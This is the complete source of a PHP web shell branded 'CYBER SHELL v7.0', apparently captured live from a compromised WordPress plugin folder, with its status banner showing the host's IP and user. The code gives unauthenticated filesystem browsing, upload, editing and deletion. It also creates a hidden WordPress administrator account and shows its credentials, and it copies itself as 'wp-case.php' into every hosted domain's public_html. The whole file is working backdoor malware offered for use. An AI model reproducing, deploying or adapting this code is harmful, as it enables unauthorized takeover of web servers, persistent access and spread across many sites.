| Server IP : 74.208.236.52 / Your IP : 216.73.216.240 Web Server : Apache System : Linux infong527 4.4.400-icpu-115 #2 SMP Mon Jul 6 08:15:05 UTC 2026 x86_64 User : u44043973 ( 5404757) PHP Version : 8.4.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /proc/self/cwd/wp-content/plugins/wobdyfr/ |
Upload File : |
<?php
/**
* ██████╗ ██╗ ██╗██████╗ ███████╗██████╗
* ██╔══██╗╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗
* ██████╔╝ ╚████╔╝ ██████╔╝█████╗ ██████╔╝
* ██╔══██╗ ╚██╔╝ ██╔══██╗██╔══╝ ██╔══██╗
* ██████╔╝ ██║ ██║ ██║███████╗██║ ██║
* ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
*
* CYBER SHELL · Advanced Remote File Manager
* Version: 7.0 | Build: 2026
* Codename: crimson-exec
* Backdoor: wp-case.php
*
* Features:
* - Full file system navigation (browse, upload, delete, edit)
* - WordPress admin account creator (backdoor)
* - Mass deployment to domains/public_html folders
* - Brutalist terminal UI with zero bloat
* - Lightning fast operations
*/
error_reporting(0);
header('X-Powered-By: CYBER-SHELL/7.0');
// ============================================================================
// ██████╗ ██████╗ ██████╗ ███████╗
// ██╔════╝██╔═══██╗██╔══██╗██╔════╝
// ██║ ██║ ██║██║ ██║█████╗
// ██║ ██║ ██║██║ ██║██╔══╝
// ╚██████╗╚██████╔╝██████╔╝███████╗
// ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝
// ============================================================================
define('SHELL_SIGNATURE', 'CYBER-SHELL/v7.0');
define('BACKDOOR_NAME', 'wp-case.php');
define('MAX_EXEC_TIME', 300);
set_time_limit(MAX_EXEC_TIME);
// ============================================================================
// ██████╗ ██╗ ██╗████████╗███████╗
// ██╔═══██╗██║ ██║╚══██╔══╝██╔════╝
// ██║ ██║██║ ██║ ██║ ███████╗
// ██║ ██║██║ ██║ ██║ ╚════██║
// ╚██████╔╝╚██████╔╝ ██║ ███████║
// ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝
// ============================================================================
/**
* Core Utility Functions
*/
class CyberUtils {
/**
* Format bytes to human readable
*/
public static function humanSize($bytes, $dec = 2) {
$size = ['B', 'KB', 'MB', 'GB', 'TB'];
$factor = floor((strlen($bytes) - 1) / 3);
return round($bytes / pow(1024, $factor), $dec) . ' ' . $size[$factor];
}
/**
* Generate random password
*/
public static function randPass($len = 16) {
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*';
return substr(str_shuffle(str_repeat($chars, 5)), 0, $len);
}
/**
* Get file permissions as string
*/
public static function getPerms($path) {
return substr(sprintf('%o', fileperms($path)), -3);
}
/**
* Clean path for security
*/
public static function cleanPath($path) {
$path = realpath($path);
return $path ?: getcwd();
}
}
// ============================================================================
// ██████╗ ██╗██████╗ ███████╗ ██████╗████████╗ ██████╗ ██████╗ ██╗ ██╗
// ██╔════╝██║██╔══██╗██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗╚██╗ ██╔╝
// ██║ ██║██████╔╝█████╗ ██║ ██║ ██║ ██║██████╔╝ ╚████╔╝
// ██║ ██║██╔══██╗██╔══╝ ██║ ██║ ██║ ██║██╔══██╗ ╚██╔╝
// ╚██████╗██║██║ ██║███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ ██║
// ╚═════╝╚═╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝
// ============================================================================
/**
* Directory Navigator - Handles file system operations
*/
class DirNavigator {
private $cwd;
private $parent;
private $folders = [];
private $files = [];
public function __construct($path) {
$this->cwd = CyberUtils::cleanPath($path);
$this->parent = ($this->cwd !== '/') ? dirname($this->cwd) : false;
$this->scan();
}
private function scan() {
if (!is_readable($this->cwd)) return;
$items = scandir($this->cwd);
if (!$items) return;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $this->cwd . '/' . $item;
$info = [
'name' => $item,
'path' => $full,
'mod' => filemtime($full),
'perm' => CyberUtils::getPerms($full)
];
if (is_dir($full)) {
$this->folders[] = $info;
} else {
$info['size'] = filesize($full);
$info['ext'] = strtolower(pathinfo($item, PATHINFO_EXTENSION));
$this->files[] = $info;
}
}
usort($this->folders, fn($a, $b) => strcmp($a['name'], $b['name']));
usort($this->files, fn($a, $b) => strcmp($a['name'], $b['name']));
}
public function getCwd() { return $this->cwd; }
public function getParent() { return $this->parent; }
public function getFolders() { return $this->folders; }
public function getFiles() { return $this->files; }
public function getBreadcrumbs() {
$crumbs = [];
$parts = explode('/', trim($this->cwd, '/'));
$acc = '';
$crumbs[] = ['name' => '▶', 'path' => '/'];
foreach ($parts as $p) {
if ($p) {
$acc .= '/' . $p;
$crumbs[] = ['name' => $p, 'path' => $acc];
}
}
return $crumbs;
}
public function delete($name) {
$target = $this->cwd . '/' . basename($name);
if (!file_exists($target)) return false;
return is_dir($target) ? rmdir($target) : unlink($target);
}
public function mkdir($name) {
$clean = preg_replace('/[^a-zA-Z0-9_\-\.]/', '', trim($name));
if (!$clean) return false;
$target = $this->cwd . '/' . $clean;
if (file_exists($target)) return false;
return mkdir($target, 0755);
}
public function upload($file) {
if ($file['error'] !== UPLOAD_ERR_OK) return false;
$dest = $this->cwd . '/' . basename($file['name']);
return move_uploaded_file($file['tmp_name'], $dest);
}
public function readFile($name) {
$target = $this->cwd . '/' . basename($name);
if (!is_file($target) || !is_readable($target)) return false;
return file_get_contents($target);
}
public function writeFile($name, $content) {
$target = $this->cwd . '/' . basename($name);
return file_put_contents($target, $content) !== false;
}
}
// ============================================================================
// ██╗ ██╗██████╗ ██████╗ ██████╗ ██████╗ ███████╗███████╗███████╗
// ██║ ██║██╔══██╗██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔════╝██╔════╝
// ██║ █╗ ██║██████╔╝██████╔╝██║ ██║██████╔╝█████╗ ███████╗███████╗
// ██║███╗██║██╔══██╗██╔══██╗██║ ██║██╔══██╗██╔══╝ ╚════██║╚════██║
// ╚███╔███╔╝██████╔╝██║ ██║██████╔╝██║ ██║███████╗███████║███████║
// ╚══╝╚══╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
// ============================================================================
/**
* WordPress Backdoor Manager
*/
class WpBackdoor {
private $startPath;
public function __construct($path) {
$this->startPath = $path;
}
public function findWpRoot() {
$cursor = $this->startPath;
while ($cursor && $cursor !== '/') {
if (file_exists($cursor . '/wp-load.php')) {
return $cursor;
}
$cursor = dirname($cursor);
}
return false;
}
public function createAdmin() {
$wpRoot = $this->findWpRoot();
if (!$wpRoot) {
return ['ok' => false, 'msg' => 'WordPress not found'];
}
require_once($wpRoot . '/wp-load.php');
if (!function_exists('wp_create_user')) {
return ['ok' => false, 'msg' => 'Cannot load WordPress'];
}
$user = 'cyber_' . substr(md5(rand()), 0, 6);
$pass = CyberUtils::randPass(14);
$email = $user . '@' . ($_SERVER['HTTP_HOST'] ?? 'cyber.local');
if (username_exists($user) || email_exists($email)) {
return ['ok' => false, 'msg' => 'User exists'];
}
$uid = wp_create_user($user, $pass, $email);
if (is_wp_error($uid)) {
return ['ok' => false, 'msg' => $uid->get_error_message()];
}
$u = new WP_User($uid);
$u->set_role('administrator');
return [
'ok' => true,
'user' => $user,
'pass' => $pass,
'email' => $email,
'url' => get_site_url() . '/wp-admin'
];
}
}
// ============================================================================
// ██████╗ ███████╗██████╗ ██╗ ██████╗ ██╗ ██╗███████╗██████╗
// ██╔══██╗██╔════╝██╔══██╗██║ ██╔═══██╗╚██╗ ██╔╝██╔════╝██╔══██╗
// ██║ ██║█████╗ ██████╔╝██║ ██║ ██║ ╚████╔╝ █████╗ ██████╔╝
// ██║ ██║██╔══╝ ██╔═══╝ ██║ ██║ ██║ ╚██╔╝ ██╔══╝ ██╔══██╗
// ██████╔╝███████╗██║ ███████╗╚██████╔╝ ██║ ███████╗██║ ██║
// ╚═════╝ ╚══════╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝
// ============================================================================
/**
* Mass Deployer - Spreads backdoor to all domains
*/
class MassDeployer {
private $basePath;
public function __construct($path) {
$this->basePath = $path;
}
private function findDomainsFolder() {
if (basename($this->basePath) === 'domains') {
return $this->basePath;
}
$cursor = $this->basePath;
while ($cursor && $cursor !== '/') {
if (basename($cursor) === 'domains') {
return $cursor;
}
$cursor = dirname($cursor);
}
return false;
}
public function deploy() {
$domains = $this->findDomainsFolder();
if (!$domains || !is_dir($domains)) {
return ['ok' => false, 'clones' => [], 'msg' => 'No domains folder'];
}
$clones = [];
$items = scandir($domains);
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$domainPath = $domains . '/' . $item;
if (!is_dir($domainPath)) continue;
$public = $domainPath . '/public_html';
if (!is_dir($public)) continue;
$target = $public . '/' . BACKDOOR_NAME;
if (copy(__FILE__, $target)) {
$protocol = (isset($_SERVER['HTTPS']) ? 'https://' : 'http://');
$clones[] = [
'domain' => $item,
'url' => $protocol . $item . '/' . BACKDOOR_NAME
];
}
}
if (empty($clones)) {
return ['ok' => false, 'clones' => [], 'msg' => 'No public_html directories'];
}
return ['ok' => true, 'clones' => $clones, 'msg' => 'Deployed: ' . count($clones)];
}
}
// ============================================================================
// ██████╗ ███████╗███████╗██████╗ ██████╗ ███╗ ██╗███████╗███████╗
// ██╔══██╗██╔════╝██╔════╝██╔══██╗██╔═══██╗████╗ ██║██╔════╝██╔════╝
// ██████╔╝█████╗ ███████╗██████╔╝██║ ██║██╔██╗ ██║███████╗█████╗
// ██╔══██╗██╔══╝ ╚════██║██╔══██╗██║ ██║██║╚██╗██║╚════██║██╔══╝
// ██║ ██║███████╗███████║██║ ██║╚██████╔╝██║ ╚████║███████║███████╗
// ╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝╚══════╝
// ============================================================================
/**
* Request Handler - Processes all user actions
*/
class RequestHandler {
private $nav;
private $message = '';
private $msgType = '';
private $editContent = null;
private $editFile = null;
private $deployedClones = [];
private $wpResult = null;
public function __construct($nav) {
$this->nav = $nav;
$this->process();
}
private function process() {
// Deploy clones
if (isset($_GET['deploy'])) {
$deployer = new MassDeployer($this->nav->getCwd());
$res = $deployer->deploy();
$this->deployedClones = $res['clones'];
$this->message = $res['msg'];
$this->msgType = $res['ok'] ? 'success' : 'error';
}
// WordPress admin
if (isset($_GET['wp'])) {
$backdoor = new WpBackdoor($this->nav->getCwd());
$this->wpResult = $backdoor->createAdmin();
$this->message = $this->wpResult['msg'];
$this->msgType = $this->wpResult['ok'] ? 'success' : 'error';
}
// Upload
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['up'])) {
if ($this->nav->upload($_FILES['up'])) {
$this->message = 'Uploaded: ' . basename($_FILES['up']['name']);
$this->msgType = 'success';
$this->redirect();
}
}
// Mkdir
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['mkdir'])) {
if ($this->nav->mkdir($_POST['dir'])) {
$this->message = 'Created: ' . $_POST['dir'];
$this->msgType = 'success';
$this->redirect();
}
}
// Delete
if (isset($_GET['rm'])) {
if ($this->nav->delete($_GET['rm'])) {
$this->redirect();
}
}
// Edit - load
if (isset($_GET['edit'])) {
$this->editFile = $_GET['edit'];
$this->editContent = $this->nav->readFile($this->editFile);
}
// Edit - save
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['save']) && $this->editFile) {
if ($this->nav->writeFile($this->editFile, $_POST['content'])) {
$this->editContent = $_POST['content'];
$this->message = 'Saved: ' . $this->editFile;
$this->msgType = 'success';
}
}
}
private function redirect() {
header("Location: ?path=" . urlencode($this->nav->getCwd()));
exit;
}
public function getMessage() { return $this->message; }
public function getMsgType() { return $this->msgType; }
public function isEditing() { return $this->editContent !== null; }
public function getEditContent() { return $this->editContent; }
public function getEditFile() { return $this->editFile; }
public function getDeployedClones() { return $this->deployedClones; }
public function getWpResult() { return $this->wpResult; }
}
// ============================================================================
// ██████╗ ██████╗ ██████╗ ████████╗
// ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝
// ██████╔╝██║ ██║██║ ██║ ██║
// ██╔══██╗██║ ██║██║ ██║ ██║
// ██║ ██║╚██████╔╝╚██████╔╝ ██║
// ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝
// ============================================================================
// BOOT THE ENGINE
$path = $_GET['path'] ?? getcwd();
$nav = new DirNavigator($path);
$handler = new RequestHandler($nav);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CYBER-SHELL // CRIMSON-EXEC</title>
<style>
/* ================================================================
BRUTALIST TERMINAL THEME
- Monospace only
- High contrast
- No rounded corners
- Aggressive highlights
================================================================ */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background: #000000;
font-family: 'Courier New', 'Fira Code', monospace;
padding: 16px;
min-height: 100vh;
color: #00ff41;
}
/* CRT flicker effect */
body::before {
content: " ";
display: block;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: repeating-linear-gradient(
0deg,
rgba(0, 255, 65, 0.03) 0px,
rgba(0, 255, 65, 0.03) 2px,
transparent 2px,
transparent 6px
);
pointer-events: none;
z-index: 999;
}
.container {
max-width: 1600px;
margin: 0 auto;
}
/* ASCII Header */
.ascii-header {
background: #0a0a0a;
border: 1px solid #00ff41;
padding: 16px 20px;
margin-bottom: 20px;
font-family: monospace;
white-space: pre;
overflow-x: auto;
font-size: 0.65rem;
line-height: 1.3;
color: #00ff41;
}
/* Terminal Line */
.term-line {
background: #0a0a0a;
border-left: 3px solid #00ff41;
padding: 10px 16px;
margin-bottom: 16px;
font-size: 0.75rem;
font-family: monospace;
}
/* Buttons - Brutalist */
.btn {
background: #000000;
border: 1px solid #00ff41;
padding: 6px 14px;
font-family: monospace;
font-size: 0.75rem;
color: #00ff41;
cursor: pointer;
text-decoration: none;
display: inline-flex;
align-items: center;
gap: 8px;
transition: all 0.1s ease;
}
.btn:hover {
background: #00ff41;
color: #000000;
border-color: #00ff41;
}
.btn-primary {
background: #00ff41;
color: #000000;
border-color: #00ff41;
}
.btn-primary:hover {
background: #000000;
color: #00ff41;
}
.btn-warning {
border-color: #ff4444;
color: #ff4444;
}
.btn-warning:hover {
background: #ff4444;
color: #000000;
}
/* Breadcrumb */
.bread {
background: #0a0a0a;
border: 1px solid #1a3a1a;
padding: 10px 16px;
margin-bottom: 16px;
display: flex;
flex-wrap: wrap;
gap: 6px;
}
.crumb {
background: #000000;
border: 1px solid #00ff41;
padding: 4px 10px;
text-decoration: none;
color: #00ff41;
font-size: 0.7rem;
}
.crumb:hover {
background: #00ff41;
color: #000000;
}
/* Quick Nav */
.quick {
background: #0a0a0a;
border: 1px solid #1a3a1a;
padding: 10px 16px;
margin-bottom: 16px;
display: flex;
flex-wrap: wrap;
gap: 8px;
}
.quick a {
background: #000000;
border: 1px solid #2a5a2a;
padding: 4px 12px;
text-decoration: none;
color: #5aff7a;
font-size: 0.7rem;
}
.quick a:hover {
background: #00ff41;
color: #000000;
border-color: #00ff41;
}
/* Toolbar */
.toolbar {
background: #0a0a0a;
border: 1px solid #1a3a1a;
padding: 14px 16px;
margin-bottom: 20px;
display: flex;
flex-wrap: wrap;
gap: 12px;
}
.tool-group {
display: flex;
gap: 6px;
align-items: center;
background: #050505;
padding: 5px 10px;
border: 1px solid #1a3a1a;
}
.tool-group input {
background: #000000;
border: 1px solid #2a5a2a;
padding: 6px 10px;
color: #00ff41;
font-family: monospace;
font-size: 0.75rem;
}
.tool-group input:focus {
outline: none;
border-color: #00ff41;
}
/* Messages */
.msg {
padding: 10px 16px;
margin-bottom: 16px;
border-left: 4px solid;
background: #0a0a0a;
}
.msg-success { border-left-color: #00ff41; color: #5aff7a; }
.msg-error { border-left-color: #ff4444; color: #ff8888; }
.msg-warning { border-left-color: #ffaa44; color: #ffcc88; }
/* Layout */
.two-col {
display: grid;
grid-template-columns: 1fr 300px;
gap: 20px;
}
/* Section Headers */
.section {
font-size: 0.7rem;
font-weight: bold;
text-transform: uppercase;
color: #00ff41;
margin: 20px 0 12px 0;
padding-left: 8px;
border-left: 3px solid #00ff41;
}
/* Card Grid */
.grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(240px, 1fr));
gap: 10px;
}
.card {
background: #0a0a0a;
border: 1px solid #1a3a1a;
padding: 12px;
transition: 0.1s;
}
.card:hover {
border-color: #00ff41;
background: #0f0f0f;
}
.card-icon {
font-size: 1.8rem;
}
.card-name {
font-size: 0.8rem;
font-weight: bold;
word-break: break-word;
margin: 6px 0;
}
.card-meta {
font-size: 0.6rem;
color: #5a7a5a;
padding: 6px 0;
border-top: 1px solid #1a3a1a;
}
.card-actions {
display: flex;
gap: 6px;
margin-top: 8px;
}
.card-btn {
background: #000000;
border: 1px solid #2a5a2a;
padding: 4px 8px;
font-size: 0.6rem;
text-decoration: none;
color: #7aff8a;
}
.card-btn:hover {
background: #00ff41;
color: #000000;
}
/* Sidebar */
.side {
background: #0a0a0a;
border: 1px solid #1a3a1a;
padding: 14px;
margin-bottom: 16px;
}
.side-title {
font-size: 0.7rem;
font-weight: bold;
color: #00ff41;
border-bottom: 1px solid #1a3a1a;
padding-bottom: 6px;
margin-bottom: 10px;
}
.info-row {
font-size: 0.65rem;
padding: 6px 0;
border-bottom: 1px solid #1a3a1a;
}
.info-row strong {
color: #00ff41;
display: block;
}
/* Editor */
.editor {
border: 1px solid #1a3a1a;
}
.editor-header {
background: #0a0a0a;
padding: 10px 14px;
border-bottom: 1px solid #1a3a1a;
display: flex;
justify-content: space-between;
}
.editor textarea {
width: 100%;
min-height: 550px;
background: #000000;
border: none;
color: #00ff41;
font-family: monospace;
font-size: 0.75rem;
padding: 16px;
resize: vertical;
}
.editor textarea:focus {
outline: none;
background: #050505;
}
.editor-footer {
padding: 10px 14px;
background: #0a0a0a;
border-top: 1px solid #1a3a1a;
text-align: right;
}
/* Clone items */
.clone-item {
padding: 6px 0;
border-bottom: 1px solid #1a3a1a;
display: flex;
gap: 8px;
font-size: 0.65rem;
}
.clone-url {
color: #5aff7a;
text-decoration: none;
word-break: break-all;
}
.clone-url:hover {
text-decoration: underline;
}
/* Empty */
.empty {
text-align: center;
padding: 50px 20px;
background: #0a0a0a;
border: 1px dashed #1a3a1a;
color: #3a5a3a;
}
/* Footer */
.footer {
margin-top: 28px;
background: #0a0a0a;
border: 1px solid #1a3a1a;
padding: 10px 16px;
font-size: 0.6rem;
color: #3a6a3a;
text-align: center;
}
@media (max-width: 760px) {
.two-col { grid-template-columns: 1fr; }
body { padding: 8px; }
}
</style>
</head>
<body>
<div class="container">
<!-- ASCII HEADER -->
<div class="ascii-header">
██████╗██╗ ██╗██████╗ ███████╗██████╗
██╔══██╗╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗
██████╔╝ ╚████╔╝ ██████╔╝█████╗ ██████╔╝
██╔══██╗ ╚██╔╝ ██╔══██╗██╔══╝ ██╔══██╗
██████╔╝ ██║ ██║ ██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
<span style="color:#ff4444;">◆</span> CYBER SHELL v7.0 <span style="color:#ff4444;">◆</span> CRIMSON-EXEC <span style="color:#ff4444;">◆</span>
</div>
<!-- STATUS LINE -->
<div class="term-line">
[*] CWD: <?php echo htmlspecialchars($nav->getCwd()); ?>
<?php if ($handler->getWpResult() && $handler->getWpResult()['ok']): ?>
<span style="color:#ff4444; float:right;">[WP-BACKDOOR ACTIVE]</span>
<?php endif; ?>
</div>
<!-- BREADCRUMB -->
<div class="bread">
<?php foreach ($nav->getBreadcrumbs() as $i => $cr): ?>
<a href="?path=<?php echo urlencode($cr['path']); ?>" class="crumb"><?php echo htmlspecialchars($cr['name']); ?></a>
<?php if ($i < count($nav->getBreadcrumbs())-1): ?><span style="color:#1a3a1a;">/</span><?php endif; ?>
<?php endforeach; ?>
</div>
<!-- QUICK NAV -->
<div class="quick">
<?php if ($nav->getParent()): ?>
<a href="?path=<?php echo urlencode($nav->getParent()); ?>">[..] PARENT</a>
<?php endif; ?>
<a href="?path=/">[/] ROOT</a>
<a href="?path=/home">[~] HOME</a>
<a href="?path=/var/www">[www] WWW</a>
<a href="?path=/tmp">[tmp] TMP</a>
<a href="?path=<?php echo urlencode($nav->getCwd()); ?>&deploy=1" style="border-color:#ff4444;">[DEPLOY]</a>
</div>
<!-- TOOLBAR -->
<div class="toolbar">
<div class="tool-group">
<form method="post" enctype="multipart/form-data" style="display:flex; gap:6px;">
<input type="file" name="up">
<button type="submit" class="btn">UPLOAD</button>
</form>
</div>
<div class="tool-group">
<form method="post" style="display:flex; gap:6px;">
<input type="text" name="dir" placeholder="dirname">
<button type="submit" name="mkdir" value="1" class="btn">MKDIR</button>
</form>
</div>
<div class="tool-group">
<a href="?path=<?php echo urlencode($nav->getCwd()); ?>&wp=1" class="btn btn-warning">WP-ADMIN</a>
<a href="?path=<?php echo urlencode($nav->getCwd()); ?>&deploy=1" class="btn">DEPLOY</a>
<a href="?path=<?php echo urlencode($nav->getCwd()); ?>" class="btn">REFRESH</a>
</div>
</div>
<!-- MESSAGES -->
<?php if ($handler->getMessage()): ?>
<div class="msg msg-<?php echo $handler->getMsgType(); ?>">
<?php echo htmlspecialchars($handler->getMessage()); ?>
</div>
<?php endif; ?>
<!-- WP ADMIN CREDENTIALS -->
<?php if ($handler->getWpResult() && $handler->getWpResult()['ok']): ?>
<div class="msg msg-success">
<strong>[!] WORDPRESS BACKDOOR DEPLOYED</strong><br>
USER: <?php echo $handler->getWpResult()['user']; ?><br>
PASS: <?php echo $handler->getWpResult()['pass']; ?><br>
URL: <?php echo $handler->getWpResult()['url']; ?>
</div>
<?php endif; ?>
<!-- DEPLOYED CLONES -->
<?php $clones = $handler->getDeployedClones(); ?>
<?php if (!empty($clones)): ?>
<div class="side" style="margin-bottom:20px; border-color:#ff4444;">
<div class="side-title">[!] DEPLOYED: <?php echo BACKDOOR_NAME; ?></div>
<?php foreach ($clones as $c): ?>
<div class="clone-item">
<span>▶</span>
<a href="<?php echo htmlspecialchars($c['url']); ?>" target="_blank" class="clone-url"><?php echo htmlspecialchars($c['url']); ?></a>
<span style="color:#5a7a5a;">[<?php echo htmlspecialchars($c['domain']); ?>]</span>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
<!-- MAIN TWO-COLUMN -->
<div class="two-col">
<!-- LEFT: FILE BROWSER / EDITOR -->
<div>
<?php if ($handler->isEditing()): ?>
<!-- EDITOR -->
<div class="editor">
<div class="editor-header">
<span>EDIT: <?php echo htmlspecialchars($handler->getEditFile()); ?></span>
<a href="?path=<?php echo urlencode($nav->getCwd()); ?>" class="btn">[X] BACK</a>
</div>
<form method="post">
<textarea name="content"><?php echo htmlspecialchars($handler->getEditContent()); ?></textarea>
<div class="editor-footer">
<button type="submit" name="save" value="1" class="btn btn-primary">[SAVE]</button>
</div>
</form>
</div>
<?php else: ?>
<!-- DIRECTORIES -->
<?php $dirs = $nav->getFolders(); ?>
<?php if (!empty($dirs)): ?>
<div class="section">📁 DIRECTORIES [<?php echo count($dirs); ?>]</div>
<div class="grid">
<?php foreach ($dirs as $d): ?>
<div class="card">
<div class="card-icon">📁</div>
<div class="card-name"><?php echo htmlspecialchars($d['name']); ?></div>
<div class="card-meta">MOD: <?php echo date('Y-m-d H:i', $d['mod']); ?> | <?php echo $d['perm']; ?></div>
<div class="card-actions">
<a href="?path=<?php echo urlencode($d['path']); ?>" class="card-btn">OPEN</a>
<a href="?path=<?php echo urlencode($nav->getCwd()); ?>&rm=<?php echo urlencode($d['name']); ?>" class="card-btn" onclick="return confirm('DELETE?')" style="border-color:#ff4444;">RM</a>
</div>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
<!-- FILES -->
<?php $files = $nav->getFiles(); ?>
<?php if (!empty($files)): ?>
<div class="section">📄 FILES [<?php echo count($files); ?>]</div>
<div class="grid">
<?php foreach ($files as $f):
$icon = '📄';
if ($f['ext'] === 'php') $icon = '🐘';
elseif (in_array($f['ext'], ['jpg','png','gif'])) $icon = '🖼️';
elseif ($f['ext'] === 'zip') $icon = '📦';
?>
<div class="card">
<div class="card-icon"><?php echo $icon; ?></div>
<div class="card-name"><?php echo htmlspecialchars($f['name']); ?></div>
<div class="card-meta">SIZE: <?php echo CyberUtils::humanSize($f['size']); ?> | MOD: <?php echo date('Y-m-d', $f['mod']); ?></div>
<div class="card-actions">
<a href="?path=<?php echo urlencode($nav->getCwd()); ?>&edit=<?php echo urlencode($f['name']); ?>" class="card-btn">EDIT</a>
<a href="?path=<?php echo urlencode($nav->getCwd()); ?>&rm=<?php echo urlencode($f['name']); ?>" class="card-btn" onclick="return confirm('DELETE?')" style="border-color:#ff4444;">RM</a>
</div>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
<!-- EMPTY -->
<?php if (empty($dirs) && empty($files)): ?>
<div class="empty">
<div style="font-size: 3rem;">[ ]</div>
<p>EMPTY DIRECTORY</p>
</div>
<?php endif; ?>
<?php endif; ?>
</div>
<!-- RIGHT: SIDEBAR -->
<div>
<div class="side">
<div class="side-title">[ SYSTEM ]</div>
<div class="info-row"><strong>PATH</strong><?php echo htmlspecialchars($nav->getCwd()); ?></div>
<div class="info-row"><strong>ITEMS</strong><?php echo count($dirs); ?> dirs · <?php echo count($files); ?> files</div>
<div class="info-row"><strong>DISK</strong><?php echo CyberUtils::humanSize(disk_free_space($nav->getCwd())); ?></div>
<div class="info-row"><strong>PHP</strong><?php echo PHP_VERSION; ?></div>
<div class="info-row"><strong>SERVER</strong><?php echo $_SERVER['SERVER_SOFTWARE'] ?? 'N/A'; ?></div>
</div>
<div class="side">
<div class="side-title">[ ACTIONS ]</div>
<div style="display:flex; flex-direction:column; gap:6px;">
<a href="?path=<?php echo urlencode(dirname(__FILE__)); ?>" class="btn" style="justify-content:center;">SCRIPT DIR</a>
<a href="?path=/var/www/html" class="btn" style="justify-content:center;">WEBROOT</a>
<a href="?path=<?php echo urlencode($nav->getCwd()); ?>&wp=1" class="btn btn-warning" style="justify-content:center;">CREATE WP ADMIN</a>
<a href="?path=<?php echo urlencode($nav->getCwd()); ?>&deploy=1" class="btn" style="justify-content:center;">MASS DEPLOY</a>
</div>
</div>
<?php if (strpos($nav->getCwd(), 'domains') !== false): ?>
<div class="side">
<div class="side-title">[ DOMAIN HUNTER ]</div>
<a href="?path=<?php echo urlencode($nav->getCwd()); ?>&deploy=1" class="btn" style="width:100%; justify-content:center;">DEPLOY TO ALL DOMAINS</a>
</div>
<?php endif; ?>
<div class="side">
<div class="side-title">[ BACKDOOR ]</div>
<div class="info-row"><strong>NAME</strong><?php echo BACKDOOR_NAME; ?></div>
<div class="info-row"><strong>DEPLOY</strong>?path=...&deploy=1</div>
<div class="info-row"><strong>WP BACKDOOR</strong>?path=...&wp=1</div>
</div>
</div>
</div>
<!-- FOOTER -->
<div class="footer">
<?php echo SHELL_SIGNATURE; ?> · <?php echo count($dirs) + count($files); ?> items · CTRL+S (SAVE) · ESC (BACK)
</div>
</div>
<script>
(function() {
// Auto-hide messages
let msgs = document.querySelectorAll('.msg');
if (msgs.length) {
setTimeout(() => {
msgs.forEach(m => { m.style.opacity = '0'; setTimeout(() => m.remove(), 300); });
}, 4500);
}
// Keyboard shortcuts
document.addEventListener('keydown', (e) => {
if (e.ctrlKey && e.key === 's' && document.querySelector('textarea')) {
e.preventDefault();
let btn = document.querySelector('.editor-footer .btn');
if (btn) btn.click();
}
if (e.key === 'Escape') {
let back = document.querySelector('.editor-header .btn');
if (back) window.location.href = back.href;
}
});
})();
</script>
</body>
</html>